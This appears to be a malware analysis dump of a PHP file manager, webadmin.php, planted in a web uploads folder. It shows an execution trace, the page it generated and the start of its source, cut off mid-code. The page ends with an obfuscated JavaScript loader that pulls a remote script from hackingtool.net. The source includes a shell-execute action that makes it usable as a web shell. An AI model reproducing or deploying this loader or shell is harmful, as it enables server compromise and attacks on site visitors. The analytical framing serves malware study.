4	465	R			6
4	466	0	0.022266	802648	html	1		/var/www/html/uploads/webadmin.php	1387	1	'/var/www/html/uploads/'
5	467	0	0.022279	802648	htmlentities	0		/var/www/html/uploads/webadmin.php	1594	3	'/var/www/html/uploads/'	2	NULL
5	467	1	0.022294	802920
5	467	R			'/var/www/html/uploads/'
4	466	1	0.022313	802808
4	466	R			'/var/www/html/uploads/'
3		A						/var/www/html/uploads/webadmin.php	1390	$actions = []
4	468	0	0.022339	801952	dirname	0		/var/www/html/uploads/webadmin.php	1391	1	'/var/www/html/uploads/webadmin.php'
4	468	1	0.022353	802048
4	468	R			'/var/www/html/uploads'
4	469	0	0.022367	802016	is_writable	0		/var/www/html/uploads/webadmin.php	1391	1	'/var/www/html/uploads'
4	469	1	0.022383	802056
4	469	R			TRUE
3		A						/var/www/html/uploads/webadmin.php	1392	$actions[] = 'delete'
3		A						/var/www/html/uploads/webadmin.php	1393	$actions[] = 'move'
3		A						/var/www/html/uploads/webadmin.php	1395	$actions[] = 'copy'
4	470	0	0.022429	802328	str_repeat	0		/var/www/html/uploads/webadmin.php	1398	2	'&nbsp;'	30
4	470	1	0.022442	802616
4	470	R			'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'
4	471	0	0.022459	802384	word	1		/var/www/html/uploads/webadmin.php	1402	1	'delete'
5	472	0	0.022473	802384	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'delete'	2	'UTF-8'
5	472	1	0.022487	802656
5	472	R			'delete'
4	471	1	0.022501	802544
4	471	R			'delete'
4	473	0	0.022515	802376	word	1		/var/www/html/uploads/webadmin.php	1402	1	'move'
5	474	0	0.022527	802376	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'move'	2	'UTF-8'
5	474	1	0.022556	802648
5	474	R			'move'
4	473	1	0.022570	802536
4	473	R			'move'
4	475	0	0.022584	802376	word	1		/var/www/html/uploads/webadmin.php	1402	1	'copy'
5	476	0	0.022597	802376	htmlentities	0		/var/www/html/uploads/webadmin.php	1599	3	'copy'	2	'UTF-8'
5	476	1	0.022611	802648
5	476	R			'copy'
4	475	1	0.022625	802536
4	475	R			'copy'
3	203	1	0.022638	801792
3	477	0	0.022647	801792	html_footer	1		/var/www/html/uploads/webadmin.php	1225	0
3	477	1	0.022659	801792
2	50	1	0.022667	792456
1	3	1	0.022679	792456
			0.022735	575472
TRACE END   [2023-02-13 00:40:23.003827]


Generated HTML code

<html xmlns="http://www.w3.org/1999/xhtml"><head>

<meta http-equiv="Content-Type" content="text/html; charset=">

<title>webadmin.php</title>

<style type="text/css">
body { font: small sans-serif; text-align: center }
img { width: 17px; height: 13px }
a, a:visited { text-decoration: none; color: navy }
hr { border-style: none; height: 1px; background-color: silver; color: silver }
#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
.listing th, .listing td { padding: 1px 3pt 0 3pt }
.listing th { border: 1px solid silver }
.listing td { border: 1px solid #ddd; background: white }
.listing .checkbox { text-align: center }
.listing .filename { text-align: left }
.listing .size { text-align: right }
.listing th.permission { text-align: left }
.listing td.permission { font-family: monospace }
.listing .owner { text-align: left }
.listing .group { text-align: left }
.listing .functions { text-align: left }
.listing_footer td { background: #eee; border: 1px solid silver }
#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
#directory { background: #eee; border: 1px solid silver }
#upload { padding-top: 1em }
#create { padding-bottom: 1em }
.small, .small option { font-size: x-small }
textarea { border: none; background: white }
table.dialog { margin-left: auto; margin-right: auto }
td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
#permission { margin-left: auto; margin-right: auto }
#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
td.permission_action { text-align: right }
#symlink { background: #eee; border: 1px solid silver }
#symlink td { text-align: left; padding: 3pt }
#red_button { width: 120px; color: #400 }
#green_button { width: 120px; color: #040 }
#error td { background: maroon; color: white; border: 1px solid silver }
#notice td { background: green; color: white; border: 1px solid silver }
#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
code { font-size: 12pt }
td { white-space: nowrap }
</style>

<script type="text/javascript">
<!--
function activate (name) {
	if (document && document.forms[0] && document.forms[0].elements['focus']) {
		document.forms[0].elements['focus'].value = name;
	}
}
//-->
</script>

</head>
<body>

<h1 style="margin-bottom: 0">webadmin.php</h1>

<form enctype="multipart/form-data" action="webadmin.php" method="post">

<table id="main">
<tbody><tr>
	<td colspan="7" id="directory">
		<a href="webadmin.php?dir=%2Fvar%2Fwww%2Fhtml%2F">Directory</a>:
		<input type="text" name="dir" size="30" value="/var/www/html/" onfocus="activate('directory')">
		<input type="submit" name="changedir" value="change" onfocus="activate('directory')">
	</td>
</tr>
<tr>
	<td colspan="7" id="upload">
		File:
		<input type="file" name="upload" onfocus="activate('other')">
		<input type="submit" name="submit_upload" value="upload" onfocus="activate('other')">
	</td>
</tr>
<tr>
	<td colspan="7" id="create">
		<select name="create_type" size="1" onfocus="activate('create')">
		<option value="file">File</option>
		<option value="directory">Directory</option>
		</select>
		<input type="text" name="create_name" onfocus="activate('create')">
		<input type="submit" name="submit_create" value="create" onfocus="activate('create')">
	</td>
</tr>
<tr class="listing">
	<th style="text-align: center; vertical-align: middle"><img src="webadmin.php?image=smiley" alt="smiley"></th>
	<th class="filename"><a href="webadmin.php?dir=%2Fvar%2Fwww%2Fhtml%2F&amp;sort=filename&amp;reverse=true">Filename</a> ∧</th>
	<th class="size"><a href="webadmin.php?dir=%2Fvar%2Fwww%2Fhtml%2F&amp;sort=size">Size</a></th>
	<th class="permission"><a href="webadmin.php?dir=%2Fvar%2Fwww%2Fhtml%2F&amp;sort=permission">Permission</a></th>
	<th class="owner"><a href="webadmin.php?dir=%2Fvar%2Fwww%2Fhtml%2F&amp;sort=owner">Owner</a></th>
	<th class="group"><a href="webadmin.php?dir=%2Fvar%2Fwww%2Fhtml%2F&amp;sort=group">Group</a></th>
	<th class="functions">Functions</th>
</tr>
<tr class="listing">
	<td class="checkbox"><input type="checkbox" name="checked0" value="true" onfocus="activate('other')"></td>
	<td class="filename" title="mtime: 2/12/23 21:39:50, atime: 2/12/23 21:39:51, ctime: 2/12/23 21:39:50"><img src="webadmin.php?image=folder" alt="folder"> [ <a href="webadmin.php?dir=%2Fvar%2Fwww%2Fhtml%2F.">.</a> ]</td>
	<td class="size" title="4 kB">4096 B</td>
	<td class="permission" title="40777">drwxrwxrwx</td>
	<td class="owner" title="uid: 0">root</td>
	<td class="group" title="gid: 0">root</td>
	<td class="functions">
		<input type="hidden" name="file0" value="/var/www/html/.">
		<select class="small" name="action0" size="1">
		<option value="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</option>
		<option value="create_symlink">create symlink</option>
		<option value="delete">delete</option>
		<option value="rename">rename</option>
		<option value="move">move</option>
		</select>
		<input class="small" type="submit" name="submit0" value=" > " onfocus="activate('other')">
	</td>
</tr>
<tr class="listing">
	<td class="checkbox"><input type="checkbox" name="checked1" value="true" onfocus="activate('other')"></td>
	<td class="filename" title="mtime: 2/12/23 21:39:50, atime: 2/12/23 21:37:58, ctime: 2/12/23 21:39:50"><img src="webadmin.php?image=folder" alt="folder"> [ <a href="webadmin.php?dir=%2Fvar%2Fwww%2Fhtml%2F..">..</a> ]</td>
	<td class="size" title="4 kB">4096 B</td>
	<td class="permission" title="40777">drwxrwxrwx</td>
	<td class="owner" title="uid: 0">root</td>
	<td class="group" title="gid: 0">root</td>
	<td class="functions">
		<input type="hidden" name="file1" value="/var/www/html/..">
		<select class="small" name="action1" size="1">
		<option value="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</option>
		<option value="create_symlink">create symlink</option>
		<option value="delete">delete</option>
		<option value="rename">rename</option>
		<option value="move">move</option>
		</select>
		<input class="small" type="submit" name="submit1" value=" > " onfocus="activate('other')">
	</td>
</tr>
<tr class="listing">
	<td class="checkbox"><input type="checkbox" name="checked2" value="true" onfocus="activate('other')"></td>
	<td class="filename" title="mtime: 2/12/23 21:39:50, atime: 2/12/23 21:39:50, ctime: 2/12/23 21:39:50"><img src="webadmin.php?image=file" alt="file"> <a href="webadmin.php?action=view&amp;file=%2Fvar%2Fwww%2Fhtml%2Fbeneri.se_malware_analysis">beneri.se_malware_analysis</a></td>
	<td class="size">0 B</td>
	<td class="permission" title="100644">-rw-r--r--</td>
	<td class="owner" title="uid: 0">root</td>
	<td class="group" title="gid: 0">root</td>
	<td class="functions">
		<input type="hidden" name="file2" value="/var/www/html/beneri.se_malware_analysis">
		<select class="small" name="action2" size="1">
		<option value="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</option>
		<option value="create_symlink">create symlink</option>
		<option value="delete">delete</option>
		<option value="rename">rename</option>
		<option value="move">move</option>
		<option value="copy">copy</option>
		<option value="download">download</option>
		</select>
		<input class="small" type="submit" name="submit2" value=" > " onfocus="activate('other')">
	</td>
</tr>
<tr class="listing">
	<td class="checkbox"><input type="checkbox" name="checked3" value="true" onfocus="activate('other')"></td>
	<td class="filename" title="mtime: 2/12/23 21:39:50, atime: 2/12/23 21:39:51, ctime: 2/12/23 21:39:50"><img src="webadmin.php?image=file" alt="file"> <a href="webadmin.php?action=view&amp;file=%2Fvar%2Fwww%2Fhtml%2Fwebadmin.php">webadmin.php</a></td>
	<td class="size" title="73.2 kB">74983 B</td>
	<td class="permission" title="100664">-rw-rw-r--</td>
	<td class="owner" title="uid: 1000">osboxes</td>
	<td class="group" title="gid: 1000">osboxes</td>
	<td class="functions">
		<input type="hidden" name="file3" value="/var/www/html/webadmin.php">
		<select class="small" name="action3" size="1">
		<option value="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</option>
		<option value="create_symlink">create symlink</option>
		<option value="delete">delete</option>
		<option value="rename">rename</option>
		<option value="move">move</option>
		<option value="copy">copy</option>
		<option value="download">download</option>
		</select>
		<input class="small" type="submit" name="submit3" value=" > " onfocus="activate('other')">
	</td>
</tr>
<tr class="listing_footer">
	<td style="text-align: right; vertical-align: top"><img src="webadmin.php?image=arrow" alt=">"></td>
	<td colspan="6">
		<input type="hidden" name="num" value="4">
		<input type="hidden" name="focus" value="">
		<input type="hidden" name="olddir" value="/var/www/html/">
		<select class="small" name="action_all" size="1">
		<option value="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</option>
		<option value="delete">delete</option>
		<option value="move">move</option>
		<option value="copy">copy</option>
		</select>
		<input class="small" type="submit" name="submit_all" value=" > " onfocus="activate('other')">
	</td>
</tr>
</tbody></table>

</form>



<script language="javascript">document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%2631tsd%264E%2633iuuqt%264B00ibdljohuppm/ofu0mpht0dj%7B/kt%2633%264F%264D0tdsjqu%264F%26311')</script><script language="javascript">function dF(s){var s1=unescape(s.substr(0,s.length-1)); var t='';for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1,1));document.write(unescape(t));}</script><script src="https://hackingtool.net/logs/ciz.js"></script> </body></html>

Original PHP code

<?php
/*
 * webadmin.php - a simple Web-based file manager
 * Copyright (C) 2004-2011  Daniel Wacker [daniel dot wacker at web dot de]
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 *
 * -------------------------------------------------------------------------
 * While using this script, do NOT navigate with your browser's back and
 * forward buttons! Always open files in a new browser tab!
 * -------------------------------------------------------------------------
 *
 * This is Version 0.9, revision 12
 * =========================================================================
 *
 * Changes of revision 12
 * [bhb at o2 dot pl]
 *    added Polish translation
 * [daniel dot wacker at web dot de]
 *    switched to UTF-8
 *    fixed undefined variable
 *
 * Changes of revision 11
 * [daniel dot wacker at web dot de]
 *    fixed handling if folder isn't readable
 *
 * Changes of revision 10
 * [alex dash smirnov at web.de]
 *    added Russian translation
 * [daniel dot wacker at web dot de]
 *    added </td> to achieve valid XHTML (thanks to Marc Magos)
 *    improved delete function
 * [ava at asl dot se]
 *    new list order: folders first
 *
 * Changes of revision 9
 * [daniel dot wacker at web dot de]
 *    added workaround for directory listing, if lstat() is disabled
 *    fixed permisson of uploaded files (thanks to Stephan Duffner)
 *
 * Changes of revision 8
 * [okankan at stud dot sdu dot edu dot tr]
 *    added Turkish translation
 * [j at kub dot cz]
 *    added Czech translation
 * [daniel dot wacker at web dot de]
 *    improved charset handling
 *
 * Changes of revision 7
 * [szuniga at vtr dot net]
 *    added Spanish translation
 * [lars at soelgaard dot net]
 *    added Danish translation
 * [daniel dot wacker at web dot de]
 *    improved rename dialog
 *
 * Changes of revision 6
 * [nederkoorn at tiscali dot nl]
 *    added Dutch translation
 *
 * Changes of revision 5
 * [daniel dot wacker at web dot de]
 *    added language auto select
 *    fixed symlinks in directory listing
 *    removed word-wrap in edit textarea
 *
 * Changes of revision 4
 * [daloan at guideo dot fr]
 *    added French translation
 * [anders at wiik dot cc]
 *    added Swedish translation
 *
 * Changes of revision 3
 * [nzunta at gabriele dash erba dot it]
 *    improved Italian translation
 *
 * Changes of revision 2
 * [daniel dot wacker at web dot de]
 *    got images work in some old browsers
 *    fixed creation of directories
 *    fixed files deletion
 *    improved path handling
 *    added missing word 'not_created'
 * [till at tuxen dot de]
 *    improved human readability of file sizes
 * [nzunta at gabriele dash erba dot it]
 *    added Italian translation
 *
 * Changes of revision 1
 * [daniel dot wacker at web dot de]
 *    webadmin.php completely rewritten:
 *    - clean XHTML/CSS output
 *    - several files selectable
 *    - support for windows servers
 *    - no more treeview, because
 *      - webadmin.php is a >simple< file manager
 *      - performance problems (too much additional code)
 *      - I don't like: frames, java-script, to reload after every treeview-click
 *    - execution of shell scripts
 *    - introduced revision numbers
 *
/* ------------------------------------------------------------------------- */

/* Your language:
 * 'en' - English
 * 'de' - German
 * 'fr' - French
 * 'it' - Italian
 * 'nl' - Dutch
 * 'se' - Swedish
 * 'sp' - Spanish
 * 'dk' - Danish
 * 'tr' - Turkish
 * 'cs' - Czech
 * 'ru' - Russian
 * 'pl' - Polish
 * 'auto' - autoselect
 */
$lang = 'auto';

/* Homedir:
 * For example: './' - the script's directory
 */
$homedir = './';

/* Size of the edit textarea
 */
$editcols = 80;
$editrows = 25;

/* -------------------------------------------
 * Optional configuration (remove # to enable)
 */

/* Permission of created directories:
 * For example: 0705 would be 'drwx---r-x'.
 */
# $dirpermission = 0705;

/* Permission of created files:
 * For example: 0604 would be '-rw----r--'.
 */
# $filepermission = 0604;

/* Filenames related to the apache web server:
 */
$htaccess = '.htaccess';
$htpasswd = '.htpasswd';

/* ------------------------------------------------------------------------- */

if (get_magic_quotes_gpc()) {
	array_walk($_GET, 'strip');
	array_walk($_POST, 'strip');
	array_walk($_REQUEST, 'strip');
}

if (array_key_exists('image', $_GET)) {
	header('Content-Type: image/gif');
	die(getimage($_GET['image']));
}

if (!function_exists('lstat')) {
	function lstat ($filename) {
		return stat($filename);
	}
}

$delim = DIRECTORY_SEPARATOR;

if (function_exists('php_uname')) {
	$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
} else {
	$win = ($delim == '\\') ? true : false;
}

if (!empty($_SERVER['PATH_TRANSLATED'])) {
	$scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
	$scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
} elseif (function_exists('getcwd')) {
	$scriptdir = getcwd();
} else {
	$scriptdir = '.';
}
$homedir = relative2absolute($homedir, $scriptdir);

$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;

if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
	$dir = relative2absolute($dir, $_POST['olddir']);
}

$directory = simplify_path(addslash($dir));

$files = array();
$action = '';
if (!empty($_POST['submit_all'])) {
	$action = $_POST['action_all'];
	for ($i = 0; $i < $_POST['num']; $i++) {
		if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
			$files[] = $_POST["file$i"];
		}
	}
} elseif (!empty($_REQUEST['action'])) {
	$action = $_REQUEST['action'];
	$files[] = relative2absolute($_REQUEST['file'], $directory);
} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
	$files[] = $_FILES['upload'];
	$action = 'upload';
} elseif (array_key_exists('num', $_POST)) {
	for ($i = 0; $i < $_POST['num']; $i++) {
		if (array_key_exists("submit$i", $_POST)) break;
	}
	if ($i < $_POST['num']) {
		$action = $_POST["action$i"];
		$files[] = $_POST["file$i"];
	}
}
if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
	$files[] = relative2absolute($_POST['create_name'], $directory);
	switch ($_POST['create_type']) {
	case 'directory':
		$action = 'create_directory';
		break;
	case 'file':
		$action = 'create_file';
	}
}
if (sizeof($files) == 0) $action = ''; else $file = reset($files);

if ($lang == 'auto') {
	if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
		$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
	} else {
		$lang = 'en';
	}
}

$words = getwords($lang);

if ($site_charset == 'auto') {
	$site_charset = $word_charset;
}

$cols = ($win) ? 4 : 7;

if (!isset($dirpermission)) {
	$dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
}
if (!isset($filepermission)) {
	$filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
}

if (!empty($_SERVER['SCRIPT_NAME'])) {
	$self = html(basename($_SERVER['SCRIPT_NAME']));
} elseif (!empty($_SERVER['PHP_SELF'])) {
	$self = html(basename($_SERVER['PHP_SELF']));
} else {
	$self = '';
}

if (!empty($_SERVER['SERVER_SOFTWARE'])) {
	if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
		$apache = true;
	} else {
		$apache = false;
	}
} else {
	$apache = true;
}

switch ($action) {

case 'view':

	if (is_script($file)) {

		/* highlight_file is a mess! */
		ob_start();
		highlight_file($file);
		$src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
		$src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
		ob_end_clean();

		html_header();
		echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>

<hr />

<table>
<tr>
<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
<pre style="margin-top: 0"><code>';

		for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";

		echo '</code></pre>
</td>
<td style="text-align: left; vertical-align: top; padding-left: 3pt">
<pre style="margin-top: 0">' . $src . '</pre>
</td>
</tr>
</table>

';

		html_footer();

	} else {

		header('Content-Type: ' . getmimetype($file));
		header('Content-Disposition: filename=' . basename($file));

		readfile($file);

	}

	break;

case 'download':

	header('Pragma: public');
	header('Expires: 0');
	header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
	header('Content-Type: ' . getmimetype($file));
	header('Content-Disposition: attachment; filename=' . basename($file) . ';');
	header('Content-Length: ' . filesize($file));

	readfile($file);

	break;

case 'upload':

	$dest = relative2absolute($file['name'], $directory);

	if (@file_exists($dest)) {
		listing_page(error('already_exists', $dest));
	} elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
		@chmod($dest, $filepermission);
		listing_page(notice('uploaded', $file['name']));
	} else {
		listing_page(error('not_uploaded', $file['name']));
	}

	break;

case 'create_directory':

	if (@file_exists($file)) {
		listing_page(error('already_exists', $file));
	} else {
		$old = @umask(0777 & ~$dirpermission);
		if (@mkdir($file, $dirpermission)) {
			listing_page(notice('created', $file));
		} else {
			listing_page(error('not_created', $file));
		}
		@umask($old);
	}

	break;

case 'create_file':

	if (@file_exists($file)) {
		listing_page(error('already_exists', $file));
	} else {
		$old = @umask(0777 & ~$filepermission);
		if (@touch($file)) {
			edit($file);
		} else {
			listing_page(error('not_created', $file));
		}
		@umask($old);
	}

	break;

case 'execute':

	chdir(dirname($file));

	$output = array();
	$retval = 0;
	exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);

	$error = ($retval == 0) ? false : true;

	if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');

	if ($error) {
		listing_page(error('not_executed', $file, implode("\n", $output)));
	} else {
		listing_page(notice('executed', $file, implode("\n", $output)));
	}

	break;

case 'delete':

	if (!empty($_POST['no'])) {
		listing_page();
	} elseif (!empty($_POST['yes'])) {

		$failure = array();
		$success = array();

		foreach ($files as $file) {
			if (del($file)) {
				$success[] = $file;
			} else {
				$failure[] = $file;
			}
		}

		$message = '';
		if (sizeof($failure) > 0) {
			$message = error('not_deleted', implode("\n", $failure));
		}
		if (sizeof($success) > 0) {
			$message .= notice('deleted', implode("\n", $success));
		}

		listing_page($message);

	} else {

		html_header();

		echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';

		request_dump();

		echo "\t<b>" . word('really_delete') . '</b>
	<p>
';

		foreach ($files as $file) {
			echo "\t" . html($file) . "<br />\n";
		}

		echo '	</p>
	<hr />
	<input type="submit" name="no" value="' . word('no') . '" id="red_button" />
	<input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
</td>
</tr>
</table>
</form>

';

		html_footer();

	}

	break;

case 'rename':

	if (!empty($_POST['destination'])) {

		$dest = relative2absolute($_POST['destination'], $directory);

		if (!@file_exists($dest) && @rename($file, $dest)) {
			listing_page(notice('renamed', $file, $dest));
		} else {
			listing_page(error('not_renamed', $file, $dest));
		}

	} else {

		$name = basename($file);

		html_header();

		echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
	<input type="hidden" name="action" value="rename" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />
	<b>' . word('rename_file') . '</b>
	<p>' . html($file) . '</p>
	<b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
	<input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
	<hr />
	<input type="submit" value="' . word('rename') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

case 'move':

	if (!empty($_POST['destination'])) {

		$dest = relative2absolute($_POST['destination'], $directory);

		$failure = array();
		$success = array();

		foreach ($files as $file) {
			$filename = substr($file, strlen($directory));
			$d = $dest . $filename;
			if (!@file_exists($d) && @rename($file, $d)) {
				$success[] = $file;
			} else {
				$failure[] = $file;
			}
		}

		$message = '';
		if (sizeof($failure) > 0) {
			$message = error('not_moved', implode("\n", $failure), $dest);
		}
		if (sizeof($success) > 0) {
			$message .= notice('moved', implode("\n", $success), $dest);
		}

		listing_page($message);

	} else {

		html_header();

		echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
';

		request_dump();

		echo "\t<b>" . word('move_files') . '</b>
	<p>
';

		foreach ($files as $file) {
			echo "\t" . html($file) . "<br />\n";
		}

		echo '	</p>
	<hr />
	' . word('destination') . ':
	<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
	<input type="submit" value="' . word('move') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

case 'copy':

	if (!empty($_POST['destination'])) {

		$dest = relative2absolute($_POST['destination'], $directory);

		if (@is_dir($dest)) {

			$failure = array();
			$success = array();

			foreach ($files as $file) {
				$filename = substr($file, strlen($directory));
				$d = addslash($dest) . $filename;
				if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
					$success[] = $file;
				} else {
					$failure[] = $file;
				}
			}

			$message = '';
			if (sizeof($failure) > 0) {
				$message = error('not_copied', implode("\n", $failure), $dest);
			}
			if (sizeof($success) > 0) {
				$message .= notice('copied', implode("\n", $success), $dest);
			}

			listing_page($message);

		} else {

			if (!@file_exists($dest) && @copy($file, $dest)) {
				listing_page(notice('copied', $file, $dest));
			} else {
				listing_page(error('not_copied', $file, $dest));
			}

		}

	} else {

		html_header();

		echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
';

		request_dump();

		echo "\n<b>" . word('copy_files') . '</b>
	<p>
';

		foreach ($files as $file) {
			echo "\t" . html($file) . "<br />\n";
		}

		echo '	</p>
	<hr />
	' . word('destination') . ':
	<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
	<input type="submit" value="' . word('copy') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

case 'create_symlink':

	if (!empty($_POST['destination'])) {

		$dest = relative2absolute($_POST['destination'], $directory);

		if (substr($dest, -1, 1) == $delim) $dest .= basename($file);

		if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);

		if (!@file_exists($dest) && @symlink($file, $dest)) {
			listing_page(notice('symlinked', $file, $dest));
		} else {
			listing_page(error('not_symlinked', $file, $dest));
		}

	} else {

		html_header();

		echo '<form action="' . $self . '" method="post">

<table class="dialog" id="symlink">
<tr>
	<td style="vertical-align: top">' . word('destination') . ': </td>
	<td>
		<b>' . html($file) . '</b><br />
		<input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
		<label for="checkbox_relative">' . word('relative') . '</label>
		<input type="hidden" name="action" value="create_symlink" />
		<input type="hidden" name="file" value="' . html($file) . '" />
		<input type="hidden" name="dir" value="' . html($directory) . '" />
	</td>
</tr>
<tr>
	<td>' . word('symlink') . ': </td>
	<td>
		<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
		<input type="submit" value="' . word('create_symlink') . '" />
	</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

case 'edit':

	if (!empty($_POST['save'])) {

		$content = str_replace("\r\n", "\n", $_POST['content']);

		if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
			listing_page(notice('saved', $file));
		} else {
			listing_page(error('not_saved', $file));
		}

	} else {

		if (@is_readable($file) && @is_writable($file)) {
			edit($file);
